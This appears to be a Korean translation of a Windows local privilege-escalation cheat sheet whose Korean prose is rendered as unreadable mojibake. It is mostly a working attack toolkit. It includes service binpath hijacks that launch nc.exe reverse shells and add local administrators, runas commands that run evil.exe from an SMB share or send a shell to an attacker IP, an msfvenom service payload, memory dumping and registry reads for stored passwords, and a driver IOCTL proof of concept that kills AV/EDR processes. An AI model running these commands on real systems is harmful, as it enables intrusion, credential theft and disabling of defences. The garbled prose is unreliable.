๋ ์์๋ณด๊ธฐ: ์ด ํ์ด์ง์์ token์ด ๋ฌด์์ธ์ง ํ์ธํ์ธ์: Windows Tokens.
๋ค์ ํ์ด์ง์์ ํฅ๋ฏธ๋ก์ด token๋ค์ ๋ํด ์์๋ณด๊ณ ์ด๋ฅผ ์
์ฉํ๋ ๋ฐฉ๋ฒ์ ํ์ธํ์ธ์:
๋ก๊ทธ์ธ๋ ์ฌ์ฉ์ / ์ธ์
qwinsta
klist sessions
ํ ํด๋
dir C:\Users
Get-ChildItem C:\Users
๋น๋ฐ๋ฒํธ ์ ์ฑ
net accounts
ํด๋ฆฝ๋ณด๋์ ๋ด์ฉ ๊ฐ์ ธ์ค๊ธฐ
powershell -command "Get-Clipboard"
์คํ ์ค์ธ Processes
ํ์ผ ๋ฐ ํด๋ ๊ถํ
๋จผ์ , ํ๋ก์ธ์ค๋ฅผ ๋์ดํ์ฌ process์ command line ์์ passwords๊ฐ ์๋์ง ํ์ธํ์ธ์.
์คํ ์ค์ธ ์ผ๋ถ overwrite some binary running์ ํ ์ ์๋์ง, ๋๋ binary ํด๋์ write ๊ถํ์ด ์์ด ์ ์ฌ์ ์ธ DLL Hijacking attacks๋ฅผ ์
์ฉํ ์ ์๋์ง ํ์ธํ์ธ์:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
ํ๋ก์ธ์ค ๋ฐ์ด๋๋ฆฌ์ ๊ถํ ํ์ธ
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
ํ๋ก์ธ์ค binaries์ ํด๋ ๊ถํ ํ์ธ (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
์คํ ์ค์ธ ํ๋ก์ธ์ค์ ๋ฉ๋ชจ๋ฆฌ ๋คํ๋ sysinternals์ procdump๋ฅผ ์ฌ์ฉํด ๋ง๋ค ์ ์์ต๋๋ค. FTP ๊ฐ์ ์๋น์ค๋ credentials in clear text in memory๋ฅผ ๊ฐ์ง๊ณ ์๋ ๊ฒฝ์ฐ๊ฐ ์์ผ๋, ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋คํํ์ฌ credentials๋ฅผ ์ฝ์ด๋ณด์ธ์.
procdump.exe -accepteula -ma <proc_name_tasklist>
์ทจ์ฝํ GUI ์ฑ
SYSTEM๋ก ์คํ๋๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฌ์ฉ์๊ฐ CMD๋ฅผ ์คํํ๊ฑฐ๋ ๋๋ ํฐ๋ฆฌ๋ฅผ ํ์ํ ์ ์๋๋ก ํ์ฉํ ์ ์์ต๋๋ค.
์: โWindows Help and Supportโ (Windows + F1)์์ โcommand promptโ๋ฅผ ๊ฒ์ํ๊ณ โClick to open Command Promptโ๋ฅผ ํด๋ฆญ
์๋น์ค
Service Triggers์ ํน์ ์กฐ๊ฑด์ด ๋ฐ์ํ ๋ Windows๊ฐ ์๋น์ค๋ฅผ ์์ํ๋๋ก ํฉ๋๋ค (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh ๋ฑ). SERVICE_START ๊ถํ์ด ์์ด๋ ํธ๋ฆฌ๊ฑฐ๋ฅผ ๋ฐ์์์ผ ์ข ์ข ๊ถํ ์๋ ์๋น์ค๋ฅผ ์์ํ ์ ์์ต๋๋ค. ์ด๊ฑฐ ๋ฐ ํ์ฑํ ๊ธฐ๋ฒ์ ๋ค์์ ์ฐธ์กฐํ์ธ์:
์๋น์ค ๋ชฉ๋ก์ ๊ฐ์ ธ์ค๊ธฐ:
net start
wmic service list brief
sc query
Get-Service
๊ถํ
์๋น์ค ์ ๋ณด๋ฅผ ์ป์ผ๋ ค๋ฉด sc๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค
sc qc <service_name>
๊ฐ ์๋น์ค์ ํ์ํ ๊ถํ ์์ค์ ํ์ธํ๋ ค๋ฉด _Sysinternals_์ ๋ฐ์ด๋๋ฆฌ accesschk๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
โAuthenticated Usersโ๊ฐ ์ด๋ค ์๋น์ค๋ ์์ ํ ์ ์๋์ง ํ์ธํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
์๋น์ค ํ์ฑํ
๋ค์๊ณผ ๊ฐ์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ ๊ฒฝ์ฐ (์: SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
๋ค์ ๋ช ๋ น์ ์ฌ์ฉํ์ฌ ํ์ฑํํ ์ ์์ต๋๋ค
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
์๋น์ค upnphost๊ฐ ์๋ํ๋ ค๋ฉด SSDPSRV์ ์์กดํ๋ค๋ ์ ์ ๊ณ ๋ คํ์ธ์ (XP SP1์ ๊ฒฝ์ฐ)
์ด ๋ฌธ์ ์ ๋ ๋ค๋ฅธ ์ฐํ ๋ฐฉ๋ฒ์ ๋ค์์ ์คํํ๋ ๊ฒ์ ๋๋ค:
sc.exe config usosvc start= auto
Modify service binary path
์๋น์ค์ ๋ํด โAuthenticated usersโ ๊ทธ๋ฃน์ด SERVICE_ALL_ACCESS ๊ถํ์ ๊ฐ์ง ๊ฒฝ์ฐ, ์๋น์ค์ ์คํ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ ํ ์ ์์ต๋๋ค. ์๋น์ค๋ฅผ ์์ ํ๊ณ ์คํํ๊ธฐ ์ํด sc๋ฅผ ์ฌ์ฉํฉ๋๋ค:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
์๋น์ค ์ฌ์์
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Privileges can be escalated through various permissions:
- SERVICE_CHANGE_CONFIG: ์๋น์ค ๋ฐ์ด๋๋ฆฌ ์ฌ๊ตฌ์ฑ์ ํ์ฉํฉ๋๋ค.
- WRITE_DAC: ๊ถํ ์ฌ๊ตฌ์ฑ์ ๊ฐ๋ฅํ๊ฒ ํ์ฌ ์๋น์ค ๊ตฌ์ฑ์ ๋ณ๊ฒฝํ ์ ์๊ฒ ํฉ๋๋ค.
- WRITE_OWNER: ์์ ๊ถ ํ๋ ๋ฐ ๊ถํ ์ฌ๊ตฌ์ฑ์ ํ์ฉํฉ๋๋ค.
- GENERIC_WRITE: ์๋น์ค ๊ตฌ์ฑ์ ๋ณ๊ฒฝํ ์ ์๋ ๋ฅ๋ ฅ์ ์์ํฉ๋๋ค.
- GENERIC_ALL: ์ญ์ ์๋น์ค ๊ตฌ์ฑ ๋ณ๊ฒฝ ๋ฅ๋ ฅ์ ์์ํฉ๋๋ค.
For the detection and exploitation of this vulnerability, the exploit/windows/local/service_permissions can be utilized.
Services binaries weak permissions
์๋น์ค๊ฐ ์คํํ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ ํ ์ ์๋์ง ๋๋ ๋ฐ์ด๋๋ฆฌ๊ฐ ์์นํ ํด๋์ ์ฐ๊ธฐ ๊ถํ์ด ์๋์ง ํ์ธํ์ธ์ (DLL Hijacking).
You can get every binary that is executed by a service using wmic (not in system32) and check your permissions using icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
๋ํ sc ๋ฐ icacls๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
์๋น์ค ๋ ์ง์คํธ๋ฆฌ ์์ ๊ถํ
์๋น์ค ๋ ์ง์คํธ๋ฆฌ๋ฅผ ์์ ํ ์ ์๋์ง ํ์ธํด์ผ ํฉ๋๋ค.
์๋น์ค ๋ ์ง์คํธ๋ฆฌ์ ๋ํ ๊ถํ์ ํ์ธํ๋ ค๋ฉด ๋ค์๊ณผ ๊ฐ์ด:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Authenticated Users ๋๋ NT AUTHORITY\INTERACTIVE๊ฐ FullControl ๊ถํ์ ๊ฐ์ง๊ณ ์๋์ง ํ์ธํด์ผ ํฉ๋๋ค. ๊ทธ๋ ๋ค๋ฉด ์๋น์ค๊ฐ ์คํํ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
์๋น์ค๊ฐ ์คํํ๋ ๋ฐ์ด๋๋ฆฌ์ ๊ฒฝ๋ก๋ฅผ ๋ณ๊ฒฝํ๋ ค๋ฉด:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
์๋น์ค ๋ ์ง์คํธ๋ฆฌ AppendData/AddSubdirectory ๊ถํ
์ด ๊ถํ์ด ๋ ์ง์คํธ๋ฆฌ์ ์์ผ๋ฉด ์ด ๋ ์ง์คํธ๋ฆฌ์์ ํ์ ๋ ์ง์คํธ๋ฆฌ๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. Windows ์๋น์ค์ ๊ฒฝ์ฐ ์ด๊ฒ๋ง์ผ๋ก๋ ์์ ์ฝ๋๋ฅผ ์คํํ๊ธฐ์ ์ถฉ๋ถํฉ๋๋ค:
AppendData/AddSubdirectory permission over service registry
๋ฐ์ดํ ์๋ ์๋น์ค ๊ฒฝ๋ก
์คํ ํ์ผ ๊ฒฝ๋ก๊ฐ ๋ฐ์ดํ๋ก ๋ฌถ์ฌ ์์ง ์์ผ๋ฉด, Windows๋ ๊ณต๋ฐฑ ์ด์ ์ ๋ชจ๋ ๊ฒฝ๋ก๋ค์ ์์๋๋ก ์คํํ๋ ค ์๋ํฉ๋๋ค.
์๋ฅผ ๋ค์ด, ๊ฒฝ๋ก C:\Program Files\Some Folder\Service.exe ์ ๊ฒฝ์ฐ Windows๋ ๋ค์์ ์คํํ๋ ค ์๋ํฉ๋๋ค:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
๋ด์ฅ๋ Windows ์๋น์ค์ ์ํ์ง ์๋ ํญ๋ชฉ์ ์ ์ธํ๊ณ , ์ธ์ฉ๋์ง ์์ ๋ชจ๋ ์๋น์ค ๊ฒฝ๋ก๋ฅผ ๋์ด:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
ํ์งํ๊ณ ์
์ฉํ ์ ์์ต๋๋ค ์ด ์ทจ์ฝ์ ์ metasploit ๋ชจ๋๋ก: exploit/windows/local/trusted\_service\_path
metasploit๋ก ์๋์ผ๋ก ์๋น์ค ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ฑํ ์ ์์ต๋๋ค:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Recovery Actions
Windows๋ ์๋น์ค๊ฐ ์คํจํ ๊ฒฝ์ฐ ์ํํ ๋์์ ์ฌ์ฉ์๊ฐ ์ง์ ํ ์ ์์ต๋๋ค. ์ด ๊ธฐ๋ฅ์ ํน์ binary๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ๊ตฌ์ฑํ ์ ์์ผ๋ฉฐ, ํด๋น binary๋ฅผ ๊ต์ฒดํ ์ ์๋ค๋ฉด privilege escalation์ด ๊ฐ๋ฅํ ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ official documentation์ ์ฐธ์กฐํ์ธ์.
Applications
Installed Applications
permissions of the binaries์ ํด๋๋ฅผ ํ์ธํ์ธ์ (maybe you can overwrite one and escalate privileges) (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
์ฐ๊ธฐ ๊ถํ
ํน์ config file์ ์์ ํด ํน๋ณํ ํ์ผ์ ์ฝ์ ์ ์๋์ง, ๋๋ Administrator ๊ณ์ ์ ์ํด ์คํ๋ binary๋ฅผ ์์ ํ ์ ์๋์ง(schedtasks)๋ฅผ ํ์ธํ์ธ์.
์์คํ ์์ ์ทจ์ฝํ ํด๋/ํ์ผ ๊ถํ์ ์ฐพ๋ ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
์์ ์ ์คํ
๋ค๋ฅธ ์ฌ์ฉ์๊ฐ ์คํํ ๋ ์ง์คํธ๋ฆฌ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ฎ์ด์ธ ์ ์๋์ง ํ์ธํ์ธ์.
์ฝ์ด๋ณด์ธ์ ๋ค์ ํ์ด์ง์์ ํฅ๋ฏธ๋ก์ด autoruns locations to escalate privileges์ ๋ํด ๋ ์์๋ณด์ธ์:
Privilege Escalation with Autoruns
๋๋ผ์ด๋ฒ
๊ฐ๋ฅํ ์๋ํํฐ์ ์ด์ํ๊ฑฐ๋ ์ทจ์ฝํ ๋๋ผ์ด๋ฒ๋ฅผ ์ฐพ์๋ณด์ธ์
driverquery
driverquery.exe /fo table
driverquery /SI
If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the stepโbyโstep technique here:
Arbitrary Kernel Rw Token Theft
For race-condition bugs where the vulnerable call opens an attacker-controlled Object Manager path, deliberately slowing the lookup (using max-length components or deep directory chains) can stretch the window from microseconds to tens of microseconds:
Kernel Race Condition Object Manager Slowdown
Registry hive memory corruption primitives
Modern hive vulnerabilities let you groom deterministic layouts, abuse writable HKLM/HKU descendants, and convert metadata corruption into kernel paged-pool overflows without a custom driver. Learn the full chain here:
Windows Registry Hive Exploitation
Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
์ผ๋ถ ์๋ช ๋ ์๋ํํฐ ๋๋ผ์ด๋ฒ๋ IoCreateDeviceSecure๋ฅผ ํตํด ๊ฐ๋ ฅํ SDDL๋ก device object๋ฅผ ์์ฑํ์ง๋ง DeviceCharacteristics์ FILE_DEVICE_SECURE_OPEN์ ์ค์ ํ๋ ๊ฒ์ ์์ต๋๋ค. ์ด ํ๋๊ทธ๊ฐ ์์ผ๋ฉด, ์ถ๊ฐ ์ปดํฌ๋ํธ๋ฅผ ํฌํจํ ๊ฒฝ๋ก๋ก ๋๋ฐ์ด์ค๋ฅผ ์ด ๋ secure DACL์ด ์ ์ฉ๋์ง ์์, ๋น๊ถํ ์ฌ์ฉ์๋ ๋ค์๊ณผ ๊ฐ์ ๋ค์์คํ์ด์ค ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํด ํธ๋ค์ ์ป์ ์ ์์ต๋๋ค:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (from a real-world case)
์ฌ์ฉ์๊ฐ ๋๋ฐ์ด์ค๋ฅผ ์ด ์ ์๊ฒ ๋๋ฉด, ๋๋ผ์ด๋ฒ๊ฐ ๋ ธ์ถํ privileged IOCTLs๋ฅผ LPE ๋ฐ ๋ณ์กฐ์ ์ ์ฉํ ์ ์์ต๋๋ค. ์ค์ ๋ก ๊ด์ฐฐ๋ ์์ ๊ธฐ๋ฅ๋ค:
- ์์ ํ๋ก์ธ์ค์ ๋ํ ์ ์ฒด ์ ๊ทผ ํธ๋ค ๋ฐํ (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- ์ ํ ์๋ raw disk read/write (์คํ๋ผ์ธ ๋ณ์กฐ, ๋ถํ ์ ์์์ฑ ํธ๋ฆญ).
- Protected Process/Light (PP/PPL)๋ฅผ ํฌํจํ ์์ ํ๋ก์ธ์ค ์ข ๋ฃ, ์ด๋ฅผ ํตํด user land์์ kernel์ ํตํด AV/EDR๋ฅผ ์ข ๋ฃ(kill)ํ ์ ์์.
Minimal PoC pattern (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
๊ฐ๋ฐ์๋ฅผ ์ํ ์ํ์ฑ
- DACL๋ก ์ ํํ๋ ค๋ device ๊ฐ์ฒด๋ฅผ ์์ฑํ ๋ ํญ์ FILE_DEVICE_SECURE_OPEN์ ์ค์ ํ์ธ์.
- ๊ถํ ์๋ ์์ ์ ๋ํด ํธ์ถ์ ์ปจํ ์คํธ๋ฅผ ๊ฒ์ฆํ์ธ์. ํ๋ก์ธ์ค ์ข ๋ฃ๋ handle ๋ฐํ์ ํ์ฉํ๊ธฐ ์ ์ PP/PPL ๊ฒ์ฌ๋ฅผ ์ถ๊ฐํ์ธ์.
- IOCTLs( access masks, METHOD_*, input validation)๋ฅผ ์ ํํ๊ณ ์ง์ kernel ๊ถํ ๋์ brokered models๋ฅผ ๊ณ ๋ คํ์ธ์.
์๋น์๋ฅผ ์ํ ํ์ง ์์ด๋์ด
- ์์ฌ์ค๋ฌ์ด ๋๋ฐ์ด์ค ์ด๋ฆ(์: \ .\amsdk*)์ user-mode ์คํ๊ณผ ๋จ์ฉ์ ์์ฌํ๋ ํน์ IOCTL ์ํ์ค๋ฅผ ๋ชจ๋ํฐ๋งํ์ธ์.
- Microsoft์ vulnerable driver blocklist(HVCI/WDAC/Smart App Control)๋ฅผ ์ ์ฉํ๊ณ ์์ฒด allow/deny ๋ชฉ๋ก์ ์ ์งํ์ธ์.
PATH DLL Hijacking
If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.
Check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
์ด ๊ฒ์ฌ๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ์ ๋ณด๋ ๋ค์์ ์ฐธ์กฐํ์ธ์:
Writable Sys Path +Dll Hijacking Privesc
๋คํธ์ํฌ
๊ณต์
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
hosts file์ ํ๋์ฝ๋ฉ๋ ๋ค๋ฅธ ์๋ ค์ง ์ปดํจํฐ๊ฐ ์๋์ง ํ์ธํ์ธ์
type C:\Windows\System32\drivers\etc\hosts
๋คํธ์ํฌ ์ธํฐํ์ด์ค ๋ฐ DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
์ด๋ ค ์๋ ํฌํธ
์ธ๋ถ์์ ์ ๊ทผ ๊ฐ๋ฅํ ์ ํ๋ ์๋น์ค๋ฅผ ํ์ธํ์ธ์
netstat -ano #Opened ports?
๋ผ์ฐํ ํ ์ด๋ธ
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP ํ ์ด๋ธ
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall ๊ท์น
Check this page for Firewall related commands (๊ท์น ๋์ด, ๊ท์น ์์ฑ, ๋นํ์ฑํ, ๋นํ์ฑํโฆ)
์ถ๊ฐ commands for network enumeration here
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
๋ฐ์ด๋๋ฆฌ bash.exe๋ C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe์๋ ์์ต๋๋ค.
root user๋ฅผ ์ป์ผ๋ฉด ์ด๋ค ํฌํธ์์๋ listenํ ์ ์์ต๋๋ค(์ฒ์ nc.exe๋ก ํฌํธ๋ฅผ listenํ๋ฉด GUI๋ฅผ ํตํด nc๋ฅผ firewall์์ ํ์ฉํ ์ง ๋ฌป์ต๋๋ค).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
To easily start bash as root, you can try --default-user root
๋ค์ ํด๋์์ WSL ํ์ผ์์คํ
์ ํ์ํ ์ ์์ต๋๋ค: C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Windows Credentials
Winlogon Credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault๋ ์๋ฒ, ์น์ฌ์ดํธ ๋ฐ ๊ธฐํ ํ๋ก๊ทธ๋จ์ ๋ํ ์ฌ์ฉ์ credentials๋ฅผ ์ ์ฅํฉ๋๋ค. ์ด๋ฌํ credentials๋ Windows๊ฐ ์ฌ์ฉ์๋ฅผ ์๋์ผ๋ก ๋ก๊ทธ์ธ์ํฌ ์ ์๊ฒ ํด ์ค๋๋ค. ์ฒ์ ๋ณด๋ฉด ์ฌ์ฉ์๊ฐ Facebook, Twitter, Gmail ๋ฑ๊ณผ ๊ฐ์ ์๊ฒฉ์ฆ๋ช
์ ์ ์ฅํด ๋ธ๋ผ์ฐ์ ์์ ์๋์ผ๋ก ๋ก๊ทธ์ธํ๋๋ก ํ๋ ๊ธฐ๋ฅ์ฒ๋ผ ๋ณด์ผ ์ ์์ง๋ง, ์ค์ ๋ก๋ ๊ทธ๋ ์ง ์์ต๋๋ค.
Windows Vault๋ Windows๊ฐ ์ฌ์ฉ์๋ฅผ ์๋์ผ๋ก ๋ก๊ทธ์ธ์ํฌ ์ ์๋ ์๊ฒฉ์ฆ๋ช ์ ์ ์ฅํฉ๋๋ค. ์ฆ, ์ด๋ค Windows application that needs credentials to access a resource(์๋ฒ ๋๋ ์น์ฌ์ดํธ)๋ผ๋ can make use of this Credential Manager & Windows Vault๋ฅผ ์ด์ฉํด ์ฌ์ฉ์๊ฐ ๋งค๋ฒ ์ฌ์ฉ์๋ช ๊ณผ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ๋ ฅํ๋ ๋์ ์ ์ฅ๋ ์๊ฒฉ์ฆ๋ช ์ ์ฌ์ฉํ ์ ์๋ค๋ ๋ป์ ๋๋ค.
์ ํ๋ฆฌ์ผ์ด์ ์ด Credential Manager์ ์ํธ์์ฉํ์ง ์์ผ๋ฉด ํน์ ๋ฆฌ์์ค์ ๋ํ ์๊ฒฉ์ฆ๋ช ์ ์ฌ์ฉํ ์ ์์ ๊ฒ์ ๋๋ค. ๋ฐ๋ผ์ ์ ํ๋ฆฌ์ผ์ด์ ์ด vault๋ฅผ ์ฌ์ฉํ๋ ค๋ฉด ๊ธฐ๋ณธ ์ ์ฅ vault์์ ํด๋น ๋ฆฌ์์ค์ ์๊ฒฉ์ฆ๋ช ์ ์์ฒญํ๊ธฐ ์ํด ์ด๋ป๊ฒ๋ communicate with the credential manager and request the credentials for that resource ํด์ผ ํฉ๋๋ค.
๋จธ์ ์ ์ ์ฅ๋ ์๊ฒฉ์ฆ๋ช
์ ๋์ดํ๋ ค๋ฉด cmdkey๋ฅผ ์ฌ์ฉํ์ธ์.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
๊ทธ๋ฐ ๋ค์ ์ ์ฅ๋ ์๊ฒฉ ์ฆ๋ช
์ ์ฌ์ฉํ๊ธฐ ์ํด runas๋ฅผ /savecred ์ต์
๊ณผ ํจ๊ป ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ค์ ์์ ๋ SMB ๊ณต์ ๋ฅผ ํตํด ์๊ฒฉ binary๋ฅผ ํธ์ถํ๋ ์์
๋๋ค.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas๋ฅผ ์ ๊ณต๋ ์๊ฒฉ ์ฆ๋ช
์ธํธ๋ก ์ฌ์ฉํ๊ธฐ.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module์์ ์ป์ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์.
DPAPI
